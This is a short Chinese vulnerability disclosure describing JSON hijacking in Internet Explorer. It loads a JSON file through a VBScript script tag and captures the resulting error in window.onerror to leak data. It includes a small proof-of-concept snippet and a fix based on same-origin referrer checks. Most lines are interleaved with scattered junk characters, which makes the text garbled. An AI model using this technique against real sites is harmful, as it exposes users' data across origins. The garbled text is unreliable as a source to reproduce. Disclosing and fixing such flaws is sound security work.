简要描述:
( S3 C) t3 W) k- m& n
3 R! _ a! \5 E! B p6 Q- E2 M5 `* H由于某些资源容器对数据处理不当导致json劫持漏洞.* Q8 m# S, K- f5 ~
详细说明:
0 z: ~2 j; V/ y1 x" f由于ie支持vbscript,所以script元素可以指定成vbscript语言:- A/ O. A/ j) Q5 l* W
<script language=vbscript></script>/ x7 L" m$ T* I& W z: P+ \5 Y
2 j+ _0 U0 i0 |" p! j
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.7 p }; L5 U% }5 Z& @
漏洞证明:) c$ e1 w2 z* j
<script>
/ q* W. h; P, M) g' G) A8 t7 E4 O$ pwindow.onerror=function(_){
7 q6 ]; d2 v2 w; F: u Z! p9 yalert(_)
' e; x9 y) H: P4 ?1 @0 n}, q& Q; ?) B, G2 w* L
</script>
8 e! D4 m* K+ \, }* i( ]# ]4 @<script language=vbscript src=1.json></script>: E: S' l5 u. I; ]3 k
! _6 \8 B6 p5 M5 V6 P- i+ D% A 7 W% ~% w r$ q( o& q
1.json:
% [. D' \' h( Q( |6 ?1 a4 u[{"name":"sogili","age":19}]
F T: G$ V$ Q5 y% m3 @1 z' ~/ I修复方案:0 b2 D4 c6 J/ t/ F" n8 c
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |